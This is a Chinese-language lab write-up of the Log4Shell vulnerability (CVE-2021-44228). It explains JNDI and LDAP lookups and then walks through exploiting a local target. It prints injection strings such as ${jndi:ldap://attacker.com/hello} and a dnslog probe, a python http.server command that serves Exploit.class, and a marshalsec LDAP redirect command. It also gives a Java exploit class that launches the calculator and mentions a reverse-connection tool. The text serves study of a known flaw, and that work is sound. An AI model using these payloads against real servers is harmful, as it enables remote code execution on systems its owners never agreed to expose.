漏洞概述
CVE-2021-44228为Apache Log4j2漏洞,被称为"Log4Shell"。攻击者将恶意代码与服务器进行交互,使服务器日志组件将其记录并执行,从而造就RCE远程代码执行漏洞。
漏洞原理
-
日志记录机制:Log4j2是一个日志记录工具,允许通过配置文件来定义日志的格式。日志格式中可以使用变量,这些变量在日志记录时会被替换为实际的值。
-
变量替换机制:Log4j2支持使用
${}
来引用变量。例如,${user}可能执行相关代码
。 -
JNDI查找支持:Log4j2还支持JNDI查找,允许通过
${jndi:...}
的形式引用远程资源。 -
漏洞触发点:在Log4j2的某些版本中,如果日志配置不当,
${jndi:...}
表达式可以被外部输入所利用,导致Log4j2尝试解析并执行JNDI查找。 -
JNDI注入:攻击者通过构造特定的字符串,
${jndi:ldap://attacker.com/hello}访问不存在于ldap服务器的内容
, 来触发JNDI注入。ldap://attacker.com/
是一个指向攻击者控制的LDAP服务器的URL,hello为不存在的文件。 -
指定远程服务器恶意代码:当攻击者控制的LDAP服务器没有具体文件时,将从指定动态加载对象,从而使目标服务器加载并执行。
JNDI
JNDI是Java EE的一部分,它提供了一种在Java应用程序中查找和访问各种类型的命名和目录服务的方法。JNDI可以与多种不同的服务进行交互,如LDAP、DNS、文件系统等。
用途:
查找资源:应用程序可以通过JNDI查找和访问远程资源。
LDAP
LDAP是一个轻量级的目录访问协议,用于访问和维护分布式目录信息服务。
用途:
引用恶意代码文件:当服务器查找不存在于LDAP的文件时,将被指引请求,存在于攻击者服务器内的,恶意代码
漏洞利用
存在漏洞的靶机服务器:127.0.0.1
LDAP服务器:127.0.0.1
存在恶意代码文件的远程服务器 kali:192.168.10.128
环境准备:
<1>dnslog生成域名
<2>验证漏洞
输入并运行:${jndi:ldap://u79stc.dnslog.cn}
漏洞利用
1.kali存放代码文件,并开启http服务
┌──(root㉿kali)-[/]
└─# find / -name Exploit.class
/Exploit.class
┌──(root㉿kali)-[~]
└─# python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
2.本机开启ldap服务
cmd命令行执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.10.128:8888//#Exploit 7365
3.靶机访问ldap服务
执行恶意代码打开计算器
import java.io.IOException;
public class Exploit {
static {
try {
// 打开windows电脑的计算器 proof of content
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
4.使用工具进行利用
start_log4j_POC
target:存在漏洞的地址
DNSLOG_url: 进行域名解析
vps_target:建立反弹连接的主机